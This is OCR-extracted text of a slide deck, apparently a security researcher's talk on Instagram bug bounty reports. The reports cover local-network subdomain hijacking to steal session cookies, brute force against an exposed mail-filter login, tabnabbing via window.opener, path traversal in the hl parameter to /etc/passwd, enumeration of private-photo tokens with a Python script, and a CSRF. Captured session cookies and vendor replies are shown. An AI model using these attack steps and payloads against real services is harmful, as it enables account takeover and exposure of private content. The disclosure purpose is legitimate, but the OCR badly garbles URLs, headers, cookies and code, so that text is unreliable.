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1. Instagram.com Subdomain Hijacking on Local Network

[ Keeping Instagram up wit %

<« C' | [ instagram-engineering.tumblr.com/post/20541814340/keeping-instagram-up-with-over-a-million-new-users gy =

"“-itﬂg'IHM- INSTAGRAM ENGINEERING grsphite]

Keeping Instagram up with over a million | |
new users in twelve hours

On Tuesday we launched Instagram for Android, and it's had a fantastic response so far. The last few weeks
(on the infrastructure side) have been all about capacity planning and preparation to get everything in place, but
on launch day itself the challenge is to find problems quickly, get to the bottom of them, and roll out fixes ASAP.

Here are some tools & techniques we used to tackle problems as they arose:

statsd

We love statsd at Instagram. Written by Etsy, it's a network daemon that aggregates and rolls-up data into
Graphite. At its core, it has two types of statistics: counter and timers. We use the counters to track everything
from number of signups per second to number of likes, and we use timers to time generation of feeds, how long

it takes to follow users, and any other major action.

The single biggest reason we love statsd is how quickly stats show up and get updated in [Graphite. Stats are
basically realtime (in our system, theyre about 10 seconds delayed), which allows us to evaluate system and
code changes immediately. Stats can be added at will, so if we discover a new metric to track, we can have it up

and running very quickly. You can specify a sample rate, so we sprinkle logging calls throughout the web




INFRASTRUCTURE

1.

Instagram.com Subdomain Hijacking on Local Network

Type Domain Name IP Address TTL

A graphite.instagram.com 10.213.65.21 5 min
a:sentry.instagram.com GRS GE SR LT TG TR TS

Type Domain Name IP Address TTL

A sentry.instagram.com 10.206.31.25 5 min

Reported by ns-852.awsdns-42.net on 7/5/2015 at 10:19:45 PM (UTC 0), just for vou. (History) Transcript
a:sensu.instagram.com Find Problems  Monitor This

Type Domain Name IP Address TTL

A sensu.instagram.com 10.210.242.37 5 min

Reported by ns-1683.awsdns-18.co.uk on 7/5/2015 at 10:19:25 PM (UTC 0), just for you. (History)

Transcript
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1. Instagram.com Subdomain Hijacking on Local Network

How to exploit?




INFRASTRUCTURE

1. Instagram.com Subdomain Hijacking on Local Network
a) Claim 10.* IP on local network & start local webserver of
http://graphite.instagram.com

b) Lure victim into browsing to hitp://graphite.instagram.com
and serve login page of hitps://www.instagram.com

c) Hope that the victim provides credentials



http://graphite.instagram.com/
http://graphite.instagram.com/
https://www.instagram.com/

INFRASTRUCTURE

1. Instagram.com Subdomain Hijacking on Local Network

Local network Social
access Engineering
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1. Instagram.com Subdomain Hijacking on Local Network
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1. Instagram.com Subdomain Hijacking on Local Network

R uest He SPONSE

Raw PamrrsTHeauuTHu-l Raw HeaunTHul
POST faceounts, legin/ajasx/ HTTP/L1.Ll & HTTP/1l.l Z00 OK
Hoat: instagram.com @ Cache-Control: private, no-cache, no-store, must-revalidace
Connection: keep-alive Content-Language: nl
Contenc-Length: 39 Content—-Type: applicatcion/json
Oeigin: htcps://inscagram. com Date: Sac, 14 How 2015 14:05:21 GHT
X=Instagram=-AJAX: 1 Expires: Sat, 0L Jan 2000 00:00:00 GMT
User-Agent: Mozilla/5.0 (Windows NT £€.L1; WOWE4) AppleWebKic/537.3E€ (KHTHL, FPragma: no-cachs
like Gecko) Chrome/4£.0.2450.8¢f Satari/537.3& Set=CLCooklie:!: carftoken=5tdldd:43bec3Vlcciiddlcdl43ShY9al;
Content-Type: application/x-vwv=-form=-urlencoded; charaet=UTF=-8 expires=5at, 1I-Nov=-Z0LlE 14:05:21 GMT: Max-Age=31445€00: Path=/
Accepr: ®/® Ser-Cookie:
¥X=Fequested-WVith: XHLHtcopRequest gesaionid=IGSC9355cI SbET5cchbs al 18d003EacZZ3 L0d0cZdESa
H=CERFToken: dZdE4718dde0Z55d4£00017E549a%bal2a dd2356d843 LedS5h IANEhzT11aTPHzA WxdaZbEinkvIAVTEYIZ toke
Refersp: hoops:// instageam,. com’ BVEESSo%IALNICY2Z auth usep | E431BTEBAZCY2S 'r.-.-h:-:-:_
Accept-Encoding: gzip, deflace IAY22 156643187883 A10RCLPNVMETS fhoB4PHeICY 3A9BE5E 72810
Accept-Language: nl-NL,nl;q=0.9,en-US;q=0.€,en;q=0.4 af0f87dl48d41dlcTIe55at0b9ZEal ld310£85e£03£de22%2CHI2
Coakie: mideoVkeTvwAEAAGSBFSTedvaNDUpwWEm; auth user backendsIl%IA%2lacs ands CaselnsensitiveNod
carttoken=dZded4718dde0Z55d4T00017E54a3ba828 élBaf.'i-fﬂ.ncn':':'s:l:'s::last_xerresh 47505521.07E3Z21%2C%22 p

latform®22%3A4%7D; Domain=instagram.com: expicrea=Fri,

USSCnAMe= TR ASIRASEE paggEorduttaarraaney 1Z2-Feb-201E H:D.E::/L/GHT: hetponly: Hax-Age=7776000; Path=/

Domain=instagram.com httponly

52
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1. Instagram.com Subdomain Hijacking on Local Network

Burp Intruder Repeater Window Help
@ Instagram x

[Target T Proxy I Spider T Scanner T Intruder I Repeater I Sequencer I Decoder I Comparer T Extender T Cptions I Alerts ]

« C' & https://www.instagram.com 3.7
— _[ ntercept T HTTP history T WebSockets history T Options ]

@ Request to http:/foraphits instagram.com:80 [10.213.65.21]
l Forward J [ Drop J | Intercept iz on Action Comment this item [:_:J EJ
J Raw T Params I Headers | Hex

GET / HTTF/1.1

Host: graphite. instagram.com

Proxy-Connection: keep-alive

Aecept: text/html, application/xhtml4xml, application/xml;q=0.9, image/webp, ¥/ *:;q=0.8
Upgrade-Insecure-Bequests: 1

User-Agent: Mozilla/5.0 (VWindows NT €.1; WOWE4) AppleWebKit/537.36 (EHTML, like Gecko)
Chroms/46.0,2490.86 Safari/537.3¢

Accept-Encoding: gzip, deflate, sdch

"Inaiugrmm pentesttest

.
3 baroganatanatda

T

E Instagram bl Accept-Language: nl-NL,nl;q=0.8,en-U5;q=0.6,en;¢q=0.4
Cookie:
b, . . 2e83ionid=IG3CIE8501lecéBe3ffBacEE580d3 7498 D1575£Ff087afthbi0elcIE553ALhESVD
o X | graphite.instagram.com Bilallo4BCE1BAMZHBiGi90VXs3A%TES22 token 2_auth_user_ids22%3A1966431878
52C%22 token%II%3A%221966431878%3APZIDE0FR =LICTEOLS1%34d9a75ab 16£bEbbad3E
th4533aala45422449acedaileil578b4e LEAlEZ8ac auth user backend$ZIs3A%IZaccou
nts.backends.CaseInsensitivelode 1Backends2 resheds22%341447510553 .21 1153%

2C522_platform%22%344%7D

53
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1. Instagram.com Subdomain Hijacking on Local Network

a) Claim 10.* IP on local network & start local webserver of
http://graphite.instagram.com

b) Lure victim into browsing to hitp://graphite.instagram.com
while being authenticated to hitps://www.instagram.com

c) Copy session cookie & hijack session



http://graphite.instagram.com/
http://graphite.instagram.com/
https://www.instagram.com/

INFRASTRUCTURE

1.

Instagram.com Subdomain Hijacking on Local Network

Local network
access

Social
Engineering
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1. Instagram.com Subdomain Hijackina on Local Network

Thank you for your reply. This issue has been discussed at great lengths with the
Facebook Security Team and while this behavior may be changed at some point
in the future, it is not eligible for the bug bounty program. Although this issue
does not qualify we appreciate your report and will follow up with you on any
security bugs or with any further questions we may have.

Thanks and good luck with future bug hunting!

56
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1. Instagram.com Subdomain Hijacking on Local Network

Thank you for your |
Facebook Security
in the future, it is r
does not qualify we
security bugs or witl 4

Thanks and good lu

reat lengths with the
anged at some point
Although this issue
up with you on any
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1. Instagram.com Subdomain Hijacking on Local Network

a:sensu.instagram.com Find Problems  Monitor This

Type Domain Name IP Address

TTL
A sensu.instagram.com 10.210.242.37 5 min

Reported by ns-1683.awsdns-18.co.uk on 7/5/2015 at 10:19:25 PM (UTC 0), just for you. (History)

$

Transcript

Type Domain Name Canonical Name TTL
CMAME sensu.instagram.com ec2-54-174-69-26 compute-1.amazonaws.com 5 min
Reported by ns-1144.awsdns-15.0rg on %/20/2015 at 8:08:41 PM (UTC 0), just for vou. (History) Transcript

¥

<« C' [ exfiltrated.com/research-Instagram-RCE.php

Instagram’s Million Dollar Bug
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| - SR ) e
E Sensu Admin X \‘\ E The change you want: X fﬂ view-source:httpsi/fze % \f. Sensu-api ® E Sensu Admin ® E Sensu Admin L
€« C A [} https://sensuinstagram.com T Ea =
Sensu-Admin Events Clients Stashes Checks Downtimes Aggregates Logs Stats Account Logout
Show | 25 v entries Search:
Status  Client Check OQutput Action Issued
@D sensu-backendD- autoscale_vxcode_healthy hosts  Autoscale healthy hosts WARNING: vxcode- 1min @
vpe asg-c3 4dxlarge has 0 healthy hosts
Showing 1 to 1 of 1 entries «— Previous [ Next
Mobile Site

Source: https://exfiltrated.com/research-Instagram-RCE.php
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= autoscale bucket

AWS key #2

config.json

Other inaccessible

AWS key #1
buckets

Source: https://exfiltrated.com/research-Instagram-RCE.php
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= autoscale bucket
AWS key #2
config.json
AWS key #1 Other inaccessible
buckets

Source: https://exfiltrated.com/research-Instagram-RCE.php

$2500
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1. Instagram.com Subdomain Hijacking on Local Network
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1. Instagram.com Subdomain Hijacking on Local Network

Subdomains Sess_ion

resolve to cookie

local IPs 10.* scoped to all
subdomains

63




INFRASTRUCTURE

2. Employee Email Authentication Brute-Force Lockout

[ mxtoolbox.com/SuperTool.aspx?action=mx%3ainstagram.com&run=toolpage

'_"O TOOLBOX',

MX Lookup Blacklists Diagnostics Domain Health Analyze Headers Free Monitoring

Blog APl Products

SuperTool Bt

instagram.com MX Lookup  ~

mx:instagram.com a0 E G S o mx

Mhich customers are harming your IP Reputation? PERIOUES with our

Pref Hostname IP Address TTL
10 mxa-00082601.gslb.pphosted.com 67.231.145.42 5min  Blacklist Check  SMTP Test
10 mxb-00082601.gslb.pphosted.com 67.231.153.30 S5min  Blacklist Check  SMTP Test
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2. Employee Email Authentication Brute-Force Lockout

é E3 Proofpoint Protection Ser %

C' (X h#tps://mxa-00082601.gslb.pphosted.com:10000/admin

proofpoint

English (US)

facebook

Login:

Password: | Password:

F‘S"}
Username: ||
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2. Employee Email Authentication Brute-Force Lockout

e‘ 3 Proofpoint Protection Ser x YWY

C' | (X h#ps://mxa-0008 pphosted.com:10000/admin
C' | [ b#tps://mxa-00082601.gslb.pphosted.com:10020 57 v I .

proofpoint

English (US)

facebook

‘ : <
7 L 2
F:'. Username: ' e

Password: ; Password:
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2. Employee Email Authentication Brute-Force Lockout

https://tools.verifyemailaddress.io

verify email

& SERVICES ~ $ PRICING

Professional Email Addresses Validation

= Verify Emails In Real-Time & :Login

email to verify

91 Input Validation:

= Results

iFor valid and verified email addresses, you can check additional intelligence including pictures, web, blog and local searches. Click
the info.. butten for interesting research data on email addresses.

X Delete = | e | Export ™
Email Address Result Checked
@ admin@instagram.com Ok 9/21/2015 12:22:29 AM | info.. |
@ Jeffreygerscn@instagram.com Ok 9/21/2015 12:22:29 AM | info.. |
@ mike@instagram.corm Ok 9/21/2015 12:22:29 AM | info.. |
@ kevin@instagram.com Ok 9/21/2015 12:22:29 AM | info.. |
Q unexisting@instagram.com Bad 9/21/2015 12:22:29 AM | info.. |
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2. Employee Email Authentication Brute-Force Lockout

a) Outdated Proofpoint Protection Server (7.1 < 7.5)
b) Brute-force possible against exposed login screens
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2. Employee Email Authentication Brute-Force Lockout

a) Outdated Proofpoint Protection Server (7.1 < 7.5)
b) Brute-force possible against exposed login screens

Thank you for your patience here. After discussions with the product team and
the security team, we have determined that this report does not pose a
significant risk to user security and/or privacy. As such, this report is not eligible

for our bug bounty program.

69




INFRASTRUCTURE

2. Employee Email Authentication Brute-Force Lockout

a) Outdated Proofpoint Protection Server (7.1 < 7.5)
b) Brute-force possible against exposed login screens

OKAYATHATS COOL

Thank you for yo
the security tea
significant risk to
for our bug bount

product team and
loes not pose a
port is not eligible

| UNDERSTAND}

T emeco

70
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2. Employee Email Authentication Brute-Force Lockout
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2. Employee Email Authentication Brute-Force Lockout




WEB

3. Public Profile Tabnabbing

..—'

= -E)- S
| [®) Bob Amiedjdeeiia Sadanwi... * | +

b

€ | @ nttps//instagram.com/sadanwitz/ c Zoeken ﬁ' B 4+ #

‘]mtug'mm App downloaden Aanmelden

sadanwitz | VOLGEN
Bob Amiedjdeeiia Sadanwitz arneswinnen.net/instagram.html

5 berichten 2 wolgers  1wolgend

Dit account is privé

Wraag of je sadanwitz mag volgen
zodat je zijn/haar foto's en video's

kunt zien.

OVER ONS ONDERSTEUNING BLOG PERS API
VACATURES PRIVACY VOORWAARDEN TAAL
2015 INSTAGRAM




WEB
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https:/fwwow.arneswinnen.net/instagram.htrml [ z i

r
T Arne Swinnen's Security Bl... *® | https/farneswi..instagram.html
-

[~ > Cons.. | @ Debug.. |[# Stijledi.. | (2} Prestat... | 7 MNebwa... [ | 4 O & =

ot > st S o

<html>
R g

» | <script>
window.opener.location.replace( ' https:/  www.arneswinnen.net"' );

n

<Sscript>

Berekend Lettertypen Vakkenmodel Animaties
Stijlen Filteren
inline

element {

¥
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' § ArmeSwinnen's Security Bl.. % | http .ffarneswi..instagram.htm| % | +

(--I| : ken wBa & & =

ARNE SWINNEN'S
SECURITY BLOG

DOTHER INF

One Packer to Rule Them All: 0 |
Empirical Identification,

Comparison and Circumvention

of Current Antivirus Detection
Techniques

Abstract: Lately, many popular antivirus solutions claim to be the most effective against
unknown and obfuscated malware. Most of these solutions are rather vague about how they
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http://blog.whatever.io/2015/03/07/on-the-security-implications-of-
window-opener-location-replace/

We have previously been made aware of this issue and are in the process of
investigating it. Thank you for submitting it to us. Please send along any
additional security issues you encounter.
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http://blog.whatever.io/2015/03/07/on-the-security-implications-of-
window-opener-location-replace/

ItS...... SOICI0SEer:

We have previ
investigating it
additional sec

the process of
:nd along any
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[o ] E =)

:E Instagram

wa 3+ #

€ a https://instagram.com c

FILTERS

- Instagrom

m

De beste momenten van de wereld vastleggen en delen
Instagram is een gratis en eenvoudige manier om je leven te
delen en op de hoogte te blijven van het leven van andere
mensen.

Maak een foto of video, pas deze dan aan met filters en
creatieve functie. Plaats je creatie vervolgens op Instagram en
deel deze onmiddellijk op Facebook, Twitter, Tumblr en meer.

‘ q l Je kunt je creatie ook rechtstreeks versturen als een
| o -~ — privébericht.
NoRMAL  sLumBeR c L
Downlead in de ONTDEK HE L0
Store :

https://instagram.com
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/ (@ Instagram x |\ +

€ | @ https//instagram.com/Zhl=en c|| QU

esee T 9:41 AM

DIRECT

-
@
“ brina
‘ creunningham
Q hazeljennings
ﬁ rourkery

@ sap
)

m

Capture and Share the World's Moments
Instagram is a free and simple way to share your life and keep
up with other people

Take a picture or video, then customize it with filters and
creative tools. Post it on Instagram and share instantly on
Facebook, Twitter, Tumblr and more—or send it directly as a
private message. Find people to follow based on things you're

into, and be part of an inspirational community.

2 Download on the GETIT ON
| ¢ App Store P> Google play

https://instagram.com/?hl=en




WEB

4. Web Server Directory Enumeration

J(‘ (@) Instagram x '\,. +

(' https://instagram.com/7hl=./en C

esee T 941 AM

DIRECT

<«
@
“ brina
‘ crounningham
0 hazetjennings
g rourkery

) samp
y

m

Capture and Share the World's Moments
Instagram is a free and simple way to share your life and keep
up with other people

Take a picture or video, then customize it with filters and
creative tools. Post it on Instagram and share instantly on
Facebook, Twitter, Tumbir and more—or send it directly as a
private message. Find people to follow based on things you're
into, and be part of an inspirational community.

# Download on the GET IT ON
¢ App Store P> Google play b

https://instagram.com/?hl=./en
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Burp Intruder Repeater Window Help

[Target T Proxy T Spider TScanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender TOptions TAIerts T]SBeautifier Settings 1

J RawT Params T Headers T Hex ]

Target: https://instagram.com w LEJ

J RawT Headers T Hex ]

GET
/?hl=en/../ ../ ../ ../../../.
HTTP/1.1

Host: instagram.com

Accept: */%

Connection: close

oo/ /ete/passwds00

HTTP/1.1 500 INTERNAL SERVER ERROR
Cache-Control: private, no-cache, no-store,
must-revalidate

Content-Language: en

Content-Type: text/html; charset=utf-8
Date: Thu, 13 Aug 2015 23:51:05 GMT
Expires: Sat, 01 Jan 2000 00:00:00 GMT
Pragma: no-cache

Vary: Accept-Language, Coockie
Content-Length: 25

Connection: Close

Oops, an error occurred.

33




WEB

4. Web Server Directory Enumeration

m Translation | Django docu X

<« i https://docs.djangoproject.com/en/1.8/topics/i18n/trans| fm *fE

@ Note

Plural form and po files

Django does not support custom plural equations in po files. As all
translation catalogs are merged, only the plural form for the main Django po
file (in
django/conf/locale/<lang_code>/LC_MESSAGES/django.po)is
considered. Plural forms in all other po files are ignored. Therefore, you
should not use different plural equations in your project or application po
files.
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// (@) Instagram x \ +

(oo s

B 4 @

(- https://instagram.com/7hl=../locale/en alQ

m

Capture and Share the World's Moments

Instagram is a free and simple way to share your life and keep
up with other people.

Take a picture or video, then customize it with filters and
creative tools. Post it on Instagram and share instantly on
Facebook, Twitter, Tumblr and more—or send it directly as a
private message. Find people to follow based on things you're

7750 likes

iansilber Seo a good moming

rourkery Be right ¢

into, and be part of an inspirational community.

£ Download on the GET IT ON
« App Store P> Google play |

https://instagram.com/?hl=../locale/en
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: ; oo
J ,'E Instagram = Tk

€ hitps://instagram.com, Thi=. /LOCALE/EN & lz‘."f-'if" E 4+ @ =

FILTERS

m

Capture and Share the World's Moments

Instagram is a free and simple way to share your life and keep
up with other people.

Take a picture or video, then customize it with filters and
creative tools. Post it on Instagram and share instantly on

Facebook, Twitter, Tumblr and more—or send it directly as a
private message. Find people to follow based on things you're
into, and be part of an inspirational community.

https://instagram.com/?hl=../LOCALE/EN
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/ @ Instagram x \ +

€ | @ hitps;//instagram.com/?hl=../wrong/en allQ

m

De beste momenten van de wereld vastleggen en delen

Instagram is een gratis en eenvoudige manier om je leven te
delen en op de hoogte te blijven van het leven van andere
mensen.

Maak een foto of video, pas deze dan aan met filters en

7750 likes

creatieve functie. Plaats je creatie vervolgens op Instagram en
iansilber See: deel deze onmiddellijk op Facebook, Twitter, Tumblr en meer.

Je kunt je creatie ook rechtstreeks versturen als een

privébericht
2 Download in de ONTDEK HET OP
s App Sto s00gle play
< n »

https://instagram.com/?hl=../wrong/en
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O fuzzdb/discovery/predict= %

« - C | GitHub, Inc. [US]|https:,’;’github.comﬁuzzd b-project/fuzzdb/tree/master/discovery/predictable-filepaths/filename-dirname-bruteforce Fa 99| =
GitHub This repository  Search Explore Features Enterprise Pricing E Sign in ]
fuzzdb_project | fuzzdb @ Watch 15 % Star | 74 ¥ Fork 8
Branch: master v fuzzdb / discovery / predictable-filepaths / filename-dirname-bruteforce / + = @
<>
doc relecation and renaming update
. amuntner authored 9 days ago latest commit a58bdb659d Ej_ @
1 .
E) 3CharExtBrute fuzz txt doc relocation and renaming update 9 days ago _
B Extensions Backup fuzz txt doc relocation and renaming update 9 days ago N
E) Extensions.Common.fuzz.txt doc relocation and renaming update 9 days ago A~
E) Extensions. Compressed fuzz txt doc relocation and renaming update 9 days ago m
B Extensions.Mostcommon. fuzz. txt doc relocation and renaming update 9 days ago
E) Extensions.Skipfish fuzz txt doc relocation and renaming update 9 days ago
=) WordlistSkipfish. fuzz txt doc relocation and renaming update 9 days ago
B copy_of fuzz txt doc relocation and renaming update 9 days ago
B raft-large-directories-lowercase txt doc relocation and renaming update 9 days ago
B) raft-large-directories txt doc relocation and renaming update 9 days ago
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42 hits for
I<SGUESS>/../locale/nl/
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Thank you for sharing this information with us. Although this issue does not
gualify as a part of our bounty program we appreciate your report. We will
follow up with you on any security bugs or with any further questions we may
have.
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YOU GOT TO/BE

Thank you for shari IS issue does not
qualify as a part of % “Savour report. We will
follow up with you o - ‘ = guestions we may
have. -

SKIDDINGIMEN

HETHEGENETAtor. net
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My apologies on my previous reply, it was intended for another report.

After reviewing the issue you have reported, we have decided to award you a
bounty of $500 USD.
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My apologies on _for another report.

After reviewing the s . ded to award you a

bounty of $500 USD.
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DDOS
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31/08/2015

There is one thing I'd like to add here. | have not tested this attack for obvious
reasons, but wouldn't the following request have resulted in a Denial of Service
attack?:

Jdev/irandom%00
Jdev/urandom%00

https://instagram.com/?hl=../.

S R O S Y Y R B B B B B
https://instagram.com/?hl=../../...[..0..L..1.. . L
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18/10/2015

Have you already found some time to consider my last response?
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29/12/2015

Thanks for being patient. When we considered the initial report, we had already
accounted for the possibility of reading files such as /dev/random and
/dev/urandom, and the reward is still $500. The act of reading those files does
not significantly affect our infra-structure too much as we have systems in place
to deal with unresponsive servers.
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SKEPTICAL CAT

29/12/2015

had already
andom and

Thanks for be
accounted fq
/dev/urando

ohctice) IS ER rnnumn WITH SKEPTICISM QR

to deal with u
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5. Private Account Shared Pictures Token Entropy
{

"status": "ok",
"media"; {
"organic_tracking_token":
"eyJ2ZXJzaW9uljozLCIwYXIsb2Fkljp7ImlzX2FuYWx5dGljc190cmFja2VkljpmYWx
zZSwidXVpZCI6l)YXNGMwYzk1MDRINDRKkMWU4YmI3ODINZTY3MzUxZjNIInOsIn
NpZ25hdHVyZSI61iJ9",
“client_cache_key": "MTEXODI1IMTg5MJEINDQ4MTc3MQ==.2",
"code": "-E1CVRRIrxr",
(...SNIP...)
"media_type": 1,
"pk": 1118251892154481771,
"original_width": 1080,
"has_liked": false,
"id"; "1118251892154481771 2036044526"

h
"upload_id": "1447526029474"

} 100
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Page Not Found « Instagr: X

« C https://instagram.com/p/-E1LCvRRrxr/?hl=en 857

H Jnstagrom % Login

Private

Sorry, this page isn't account
available.

The link you followed may be broken, or the page
may have been removed. Go back to Instagram.

ABOUTUS SUPPORT BLOG PRESS APl JOBS PRIVACY TERMS
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5. Private Account Shared Pictures Token Entropy

€| - C | [I https//www.instagram.com/p/-E1CvRRrxr/

']mtagmm Q Search hdmi22
hdmi22 Private
account
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5. Private Account Shared Pictures Token Entropy

Private

account
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5. Private Account Shared Pictures Token Entropy

GET /api/vl/media/1118251892154481771 2036044526/permalink/ HTTP/1.1
Host: i.instagram.com

HTTP/1.1 200 OK
(...SNIP...)

{"status":"ok","permalink":"https:\/\/instagram.com\/p\/-E1CvRRrxr\/"}
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5. Private Account Shared Pictures Token Entropy

&~ G D https:/’;’instaé;ram.com,ﬂp,»"-EleRRrxr,/ %

Instagram Q Search Gettheapp Login
hdmi22 FOLLOW Private
account
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@Kevin @MikeyK @BritneySpears @msvigdis
Pk: 3 Pk: 4 Pk: 12246775 Pk: 12246776
1pJ1DhgBD- 159sxaABXG 16jJhVG8HU iV93JDG8Ue
1kHzf gBLp 1onlDogBf3 1yFoqcm8D9 XMUVDFmM8X8
0-psh]gBAg Oyi-hjgBaE 1tejnLm8Co VuWAQam8Xv
09pY_OgBPX Ok_oZWABSU 1r59ISm8GX Vj81GHmM8W9
011GTXABDo OgboKEgBYr 1grMPRGS8AB UEoTBAGS8Sy
O0k_apGABDm OUDrVFgBVJ 1ghW7RG8B2 TfpmTGmM8QP
0f5P_6ABOe z-maEDgBWK 1T3KHhm8N2 TWbKzfm8f-
OGEiJKABAC z5HB2BgBbj 1Q2H_WGS8LX TVOOKEmMS8To
0BuHO9ABOx zxeRSGgBal 10ywdMm8Lf TThPzXm8cm
z-9x5aABEq zSqgd5ABco 1H2JvGG8DL TS3Swim8dZ
z8QVuXABD6 zQ6VkUABdH 08dtcTG8Hb TOtd3tm8Ve
z4vsirABO4 zJDzvRgBbR 00exOYm8Br TOfRfAm8azZ
z2KVOOgBIE zBrTIsABXv OyXTU6M8MN TJikVLm8W9
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uploadid = prepare picture upload(s)

newnedia = r['user']['media count’

r = requests.get('http://1.instagram.com/api/wvl /users + userid + "/info/
origmedia = r['user']['media count’
print "Current number of posts: " + str(origmedia)
Hwhile (True) :
r = requests.get('http://1.instagram.com/api/vl/users/" + userid + '/1

info/

username = raw_input ("En the yssrnams of the Ipshagram user you want to monitor: ")
r = requests.get ("http://instagram.com/" + username)

useridsearch = re.search('"id":" ([*"]*)", "biography"', r.text)
Flif useridsearch is None:

userid = str(useridsearch.group(l))

print "Found yzsrigd: " + userid

") .J=on|)

') .3son()

ﬁ if origmedia < newmedia:
H r = do_post_request (s,
codesearch = re.search (' "code":"([""]*)"", r.text)
idsearch = re.search (' "i1d4":"([*"]*)"", r.text)
= if codesearch is None or idsearch is None:
print "Could not successfully upload image myself and find a
= else:
& print str(idsearch.group(l)) + "," + str{codesearch.group(l))
origmedia = newmedia

o uploadid = prepare picture upload(s)
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Private victim account Public attacker account
(monitored by attacker) (generated right after monitor hit)
1yCwjTIRnk lyCwodpTIC
1yCO5mJRnqg 1yCO_ApTIL

1yC5PgpRnu 1yC5UopTIX

1yCOnTIRnw 1yCOrepTlk

1yDGULpRN9 1yDGaDpTI1

1yDKrvpRoB 1yDKvtTI8

1yDPCCpRol 1yDPHVpTI_

1yDTZGpRoO 1yDTdvpTmH

1yDXxRpRoW 1yDX1fJTmP

1yDgdBpRol 1yDgj6JTmb

1yDk1lgpRop 1yDk6ypTme

1yD6mjpRpT 1yD6sCpTnL

1yEDSgpRpn 1yEDXYJTnU

1yEHpNJRpt 1yEHuUTpTnc

1yEQWTpRgD 1yEQb3pTnw

1yEUtCJRgL 1yEUyJITN5

1yEZEKJRqU 1yEZI3pTol

1lyEdaxpRqge 1yEdfEpToO
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5.

Private Account Shared Pictures Token Entropy

These tokens represent identifiers based on the following
alphabet: A-Za-z0-9 - (64 characters in total)

The first 6 characters are global, incremental identifiers

The 7th character only differs between 2 possibilities and is based
on the “Pk” of each user

The 8th character is constant per user and is also based on the
“Pk” of each user

The 9th and 10th character are user-specific incremental
identifiers with the same alphabet as the global identifier (see
above)
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5.

Private Account Shared Pictures Token Entropy

These tokens represent identifiers based on the following
alphabet: A-Za-z0-9 - (64 characters in total)

The first 6 characters are global, incremental identifiers

The 7th character only differs between 2 possibilities and is based
on the “Pk” of each user

The 8th character is constant per user and is also based on the
“Pk” of each user

The 9th and 10th character are user-specific incremental
identifiers with the same alphabet as the global identifier (see
above)
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5. Private Account Shared Pictures Token Entropy

Entropy: 6476 = 68.719.476.736 possibilities

« The 7th character only differs between 2 possibilities and is
based on the “Pk” of each user

* The 8th character is constant per user and is also based on the
“Pk” of each user

Final entropy: 2 * 644 = 33.554.432 possibilities
- Feasible!
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5. Private Account Shared Pictures Token Entropy

After reviewing the issue you have reported, we have decided to award you a
bounty of $1000 USD.
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5. Private Account Shared Pictures Token Entropy
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5. Private Account Shared Pictures Token Entropy
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6. Private Account Shared Pictures CSRF

7\ 2
(GET)/api/vl/media/1118251892154481771_2036044526/perma|ink/ HTTP/1.1
. l.instagram.com
<’U§€r-Agent: Instagram 7.10.0 Android (19/4.4.4; 320dpi; 768x1184; LGE/googie; —
~Nexus 4: mako; mako; en_US)
Cookie:
sessionid=IGSC0098a4beel1b593953fd4a3fe0695560f407a103d8eef9f5be083ff2
1e186673:PEVejQeSkS2p8WYXAEgtyUWdXz9STvKM:{" token_ver":1," auth_us
er_id":2036044526," token":"2036044526:7DcRpgldOve5TONKbToN5yVIeZUhOIfh
:571e05df8ecd8de2efc47dcabf22272023323416f0511fb20e0ad42¢c1302ea27"," au
th_user_backend":"accounts.backe’%ds.{)aselnsensitiveModeIBackend","last_refre
}

shed":1447525940.04528," platform™:1

V

HTTP/1.1 200 OK
(...SNIP...)

{"status":"ok","permalink":"https:\/\/instagram.com\/p\/-E1CvRRrxr\/"}
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@ Chrome File Edit View History

New Tab X

cC Q

w E B I M O B I L E For quick access, place your bookmarks here on the book

6. Private Account Shared Pictures CSRF

7\
(GET)/api/vl/media/1118251892154481771_2036044526/perma|ink/ HTTP/1.1
. l.instagram.com
<‘U§€r-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10 _5)
~Apnle\WebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.86 _Safari/537 36
Cookie:
sessionid=IGSCffa96a73743adba6c93194ae05041159e0cf6ede2627ae3735c3aa
9079cfe853:EasK95PNVAY5CUCABRNhXrFsCy6I6S5R:{" token_ver"1," auth_us
er_id":2036044526," token":"2036044526:QTKFc7soSO0BHa61lagqjAmoqLQ3B3hD
kLd:d567a7909eb6db0bc766c5f1f168ae2c5e3086aae93c67273cdal75933d96162
","_auth_user_backend":"accounts.backen’%z@-sjelnsensitiveModeIBackend","last
}

_refreshed":1447628626.205864," platform™:4

V

HTTP/1.1 200 OK
(...SNIP...)

{"status":"ok","permalink":"https:\/\/instagram.com\/p\/-E1CvRRrxr\/"}
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6. Private Account Shared Pictures CSRF

https://i.instagram.com/ap X

€& - C {2 https://i.instagram.com/api/vi/media/1118251892154481771_2036044526/permalink/

{"status

ok","permalink":"https:\/\/instagram.com\/p\/-E1CVRRrxrZDkvJH4s1lbR7jnlcmc-6Cfg-YhAO\/"}
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6. Private Account Shared Pictures CSRF

a) Find Private Account pictures image_id

https://i.instagram.com/a; X

&«

C' (O https://i.instagram.com/api/v1/medi

1118251892154481771_2036044526permalink/

{"status":"ok","permalink":

https:\/\/instagram.com\/p\/-E1CVvRRrxrZDkvJH4s1bR7jnlcmc-6CE£g-YhAO\/"}

b) Find permalink of Shared Private Account picture
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6. Private Account Shared Pictures CSRF

Cuy 12 # o

a) Find Private Account pictures image_id ———im

et
Usertags Feed Authorization Bypass

Request by attackeraprill4, obtaining the user tag feed of victimapril14:

GET fapifvl/fusertags/1834740224 /feedf HTTR/1.1

=SNIP=

Cookie: ds_user_id=1834735739; igfl=attackerl4april; csrftoken=c62c1b7939d31ef5a397d4 7eOfedeabs;
mid=\SyAxQABAAFErnZItuR3Bg9L_IcH;
sessionid=1G5C0febd9053f46af065661341b814c925257045e0281d091e666359a04d3958dc2%3ADUGNBOBd2pTpR
dilhCOPCKyr3mKSzSey%3IA%TBIY22_auth_user_id%22%3A1834735739%2C%22 _token%22%3A%221834735730%
3AtImMOvmINScp7fU9z WDPSI6obAXCALHE%3A001ef1a6209117adf855bf199c086eed571920a74485f49976236e
Saed6alel0%22%2C%22_auth_user_backend%22%3A%22accounts. backends.CaselnsensitiveModelBackend%22%
20%22ast_refreshed%22%3A1428983171.329889%2C%22_t1%229%63A1%2C%22_platform¥%22%3A1%7D0;
is_starred_enabled=yes; ds_user=attacker14april

<SNIP=

Response, containing the private Image ID of victimapril14:

HTTP/1.1 200 OK
<SNIP=

